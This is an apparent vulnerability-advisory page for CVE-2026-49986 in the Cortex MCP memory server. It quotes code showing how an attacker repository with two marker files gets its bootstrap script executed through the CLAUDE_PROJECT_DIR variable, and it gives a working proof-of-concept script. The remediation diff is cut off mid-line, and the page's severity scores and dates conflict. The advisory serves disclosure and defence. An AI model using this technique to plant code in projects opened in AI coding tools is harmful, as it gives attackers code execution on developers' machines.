Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-49986 — neuro-cortex-memory

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-829 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Cortex has Untrusted Project Bootstrap Code Execution via CLAUDE_PROJECT_DIR

Untrusted Project Bootstrap Code Execution via CLAUDE_PROJECT_DIR

Summary

The Cortex MCP server (neuro-cortex-memory) treats the CLAUDE_PROJECT_DIR environment variable — automatically set by Claude Code to the currently open project directory — as a trusted Cortex developer checkout. When the open_visualization tool is invoked, _find_dev_source() resolves the user's active project directory as a candidate Cortex source root. The only validation performed by _is_cortex_root() is a check for the presence of an mcp_server/ subdirectory and a ui/unified-viz.html file. An attacker who places these two marker files in a malicious repository can cause Cortex to execute an arbitrary mcp_server/server/visualize_bootstrap.py from that directory via subprocess.run([sys.executable, ...]), achieving code execution with the privileges of the victim's local user process. CVSS v3.1 Base Score: 7.8 (High).

Details

The vulnerability originates in _find_dev_source() inside mcp_server/handlers/open_visualization.py. The function builds a list of candidate directories by iterating over the environment variables CORTEX_DEV_ROOT and CLAUDE_PROJECT_DIR:

```python

# mcp_server/handlers/open_visualization.py:73-76

for env in ("CORTEX_DEV_ROOT", "CLAUDE_PROJECT_DIR"):

v = os.environ.get(env)

if v:

candidates.append(Path(v))

```

CLAUDE_PROJECT_DIR is set automatically by the Claude Code IDE extension to whichever directory the user has currently open. This means any project the user opens is silently treated as a candidate Cortex source root.

Each candidate is then validated by _is_cortex_root() (lines 65–70), which only verifies that the directory contains an mcp_server/ subdirectory and a ui/unified-viz.html file — trivial markers that an attacker can replicate:

```python

# mcp_server/handlers/open_visualization.py:65-70

def _is_cortex_root(path: Path) -> bool:

return (path / "mcp_server").is_dir() and \

(path / "ui" / "unified-viz.html").is_file()

```

There is no git remote identity check, no cryptographic signature verification, no release path allowlist, and no explicit developer opt-in requirement. Once a directory passes _is_cortex_root(), the handler constructs a bootstrap path and executes it unconditionally:

```python

# mcp_server/handlers/open_visualization.py:179-185

bootstrap_path = dev_src / "mcp_server" / "server" / "visualize_bootstrap.py"

if bootstrap_path.is_file():

...

proc = subprocess.run(

[sys.executable, str(bootstrap_path)],

)

```

A secondary code-execution path exists in mcp_server/server/http_launcher.py:80-83 and 273-275, where the same CLAUDE_PROJECT_DIR-derived dev source is used to rsync attacker-controlled files into the Cortex plugin cache directory before serving them.

Entry point: MCP tool open_visualization, registered at mcp_server/tool_registry_core.py:194-207 (no authentication required at tool layer). The tool is reachable through the standard stdio MCP transport started in mcp_server/__main__.py:66.

PoC

Prerequisites

  • Cortex (neuro-cortex-memory ≥ 3.17.0) installed and importable.
  • Victim opens an attacker-controlled project directory in Claude Code (sets CLAUDE_PROJECT_DIR automatically) or the attacker otherwise controls CLAUDE_PROJECT_DIR.
  • Victim invokes /cortex-visualize or triggers the open_visualization MCP tool (e.g., by selecting a visualization command in the Claude Code interface).

Inline PoC

```python

import asyncio, os, tempfile

from pathlib import Path

from mcp_server.handlers import open_visualization as ov

base = Path(tempfile.mkdtemp(prefix="cortex-malicious-project-"))

(base / "mcp_server" / "server").mkdir(parents=True)

(base / "ui").mkdir()

(base / "ui" / "unified-viz.html").write_text("<html>attacker</html>", encoding="utf-8")

sentinel = Path("/tmp/cortex-open-visualization-poc-owned")

if sentinel.exists():

sentinel.unlink()

(base / "mcp_server" / "server" / "visualize_bootstrap.py").write_text(

"from pathlib import Path\n"

"Path('/tmp/cortex-open-visualization-poc-owned').write_text('executed', encoding='utf-8')\n"

"print('bootstrap-ran')\n",

encoding="utf-8",

)

os.environ["CLAUDE_PROJECT_DIR"] = str(base)

ov.launch_server = lambda _typ: "http://127.0.0.1:3458"

ov.open_in_browser = lambda _url: None

result = asyncio.run(ov.handler({}))

print(result.get("bootstrap"))

print(sentinel.read_text())

```

Expected output:

```

bootstrap-ran

executed

```

Recommended Remediation

Remove CLAUDE_PROJECT_DIR from the dev-source candidate list. Gate executable dev-source resolution behind an explicit opt-in flag so that only a developer who deliberately sets both CORTEX_DEV_SOURCE_SYNC=1 and CORTEX_DEV_ROOT can trigger the bootstrap path:

```diff

--- a/mcp_server/handlers/open_visualization.py

+++ b/mcp_ser

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-49986 is classified as CWE-829: Inclusion of Functionality from Untrusted Control Sphere. Code is loaded from a source outside the product's control, so that source can change what runs.

Affected software

CVE-2026-49986 is recorded against 2 packages.

  • neuro-cortex-memory (fixed in 3.18.0)
  • unknown

Timeline and source

Published on 1 July 2026 and last revised on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)
github.com (Web)

Same weakness in other software

These advisories are the same class of weakness (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
CWE CWE-829
Public Exploit ✅ No
Source NVD
Published 2026-07-01
Updated 2026-08-20
Modified 2026-07-13
Fix URL N/A

Affected Packages

Software From version Fixed in
neuro-cortex-memory — 3.18.0
unknown — —

Site Security Check

Is neuro-cortex-memory part of your stack?

CVE-2026-49986 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓